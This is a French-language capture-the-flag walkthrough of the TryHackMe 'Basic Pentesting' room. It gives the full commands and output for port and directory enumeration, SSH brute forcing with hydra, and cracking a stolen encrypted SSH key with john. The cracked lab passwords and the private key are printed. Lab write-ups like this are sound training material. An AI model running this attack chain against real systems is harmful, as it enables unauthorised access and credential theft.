Basic Pentesting

Practise web app hacking end privilege escalation

brute forcing
hash cracking
service enumeration
Linux enumeration

https://tryhackme.com/room/basicpentestingjt

Enumeration

root@ip-10-10-146-6:~# nmap -sV -sC 10.10.167.209

Starting Nmap 7.60 ( https://nmap.org ) at 2022-12-14 11:23 GMT
Nmap scan report for ip-10-10-167-209.eu-west-1.compute.internal (10.10.167.209)
Host is up (0.0011s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (EdDSA)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
MAC Address: 02:76:EE:E4:87:45 (Unknown)
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2022-12-14T06:24:05-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-12-14 11:24:05
|_  start_date: 1600-12-31 23:58:45

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.93 seconds

On trouve 6 ports ouverts.

Répertoires

En utilisant gobuster, on trouve un répertoire /development

root@ip-10-10-146-6:~/Desktop/Tools/wordlists/dirbuster# gobuster dir -u http://10.10.167.209 -w directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.167.209
[+] Threads:        10
[+] Wordlist:       directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2022/12/14 11:30:38 Starting gobuster
===============================================================
/development (Status: 301)
/server-status (Status: 403)
===============================================================
2022/12/14 11:30:59 Finished
===============================================================

Nous trouvons 2 fichiers .txt dans ce répertoire: dev.txt et j.txt.

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm 
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

Informations intéressantes concernant les mots de passe, une version ainsi que le service SMB. Aussi, il y a 2 utilisateurs J et K. Nous allons essayer de trouver leurs noms avec Enum4linux.

root@ip-10-10-146-6:~/Desktop/Tools/Miscellaneous# ./enum4linux.pl -a 10.10.167.209

..........

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)

Les 2 utilisateurs sont kay et jan.

Nous avons vu que Kay s’adressait à Jan en lui disant que son mot de passe était faible. Nous allons essayer de cracker le mot de passe de Jan avec l’outil hydra.

root@ip-10-10-146-6:~/Desktop/Tools/wordlists# hydra -l jan -P rockyou.txt ssh://10.10.167.209
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2022-12-14 11:45:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.10.167.209:22/
[STATUS] 257.00 tries/min, 257 tries in 00:01h, 14344142 to do in 930:14h, 16 active
[STATUS] 245.67 tries/min, 737 tries in 00:03h, 14343662 to do in 973:07h, 16 active
[22][ssh] host: 10.10.167.209   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2022-12-14 11:48:25

On trouve le mot de passe armando.

Nous accédons au serveur via SSH.

Nous trouvons 2 dossiers: jan et kay.

Puis nous trouvons une clé SSH privée dans le dossier /home/kay/.ssh

jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo
jan@basic2:/home/kay$ cd .ssh
jan@basic2:/home/kay/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

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
-----END RSA PRIVATE KEY-----

Un mot de passe est demandé si on essaie de se connecter avec cette clé. Nous allons essayer de la trouver avec l’outil john.

root@ip-10-10-146-6:~/Desktop/Tools/Password Attacks/john# locate ssh2john
/opt/john/ssh2john.py
root@ip-10-10-146-6:~/Desktop/Tools/Password Attacks/john# cd /opt/john
root@ip-10-10-146-6:/opt/john# ./ssh2john.py /root/Desktop/privatekey.txt > /root/Desktop/privatekeydecode.txt
root@ip-10-10-146-6:/opt/john# cd /root/Desktop/Tools/
root@ip-10-10-146-6:~/Desktop/Tools# cd Password\ Attacks/
root@ip-10-10-146-6:~/Desktop/Tools/Password Attacks# cd john
root@ip-10-10-146-6:~/Desktop/Tools/Password Attacks/john# ./john /root/Desktop/privatekeydecode.txt --wordlist=/root/Desktop/Tools/wordlists/rockyou.txt 
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (/root/Desktop/privatekey.txt)
1g 0:00:00:08 DONE (2022-12-14 12:10) 0.1169g/s 1677Kp/s 1677Kc/s 1677KC/s *7¡Vamos!
Session completed.

Nous trouvons le mot de passe beeswax.

Nous pouvons maintenant nous connecter en SSH avec l’utilisateur kay.

NB: nous récupérons le fichier id_rsa via la commande scp et nous modifions les droits pour pouvoir l’utiliser.

root@ip-10-10-146-6:~/Desktop# ssh -i id_rsa kay@10.10.167.209
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
kay@10.10.167.209's password: 
Permission denied, please try again.
kay@10.10.167.209's password: 
Permission denied, please try again.
kay@10.10.167.209's password: 

root@ip-10-10-146-6:~/Desktop# chmod 600 id_rsa
root@ip-10-10-146-6:~/Desktop# ssh -i id_rsa kay@10.10.167.209
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Résumé

Nmap
Gobuster
Enum4linux
Hydra
SSH
ssh2john.py
john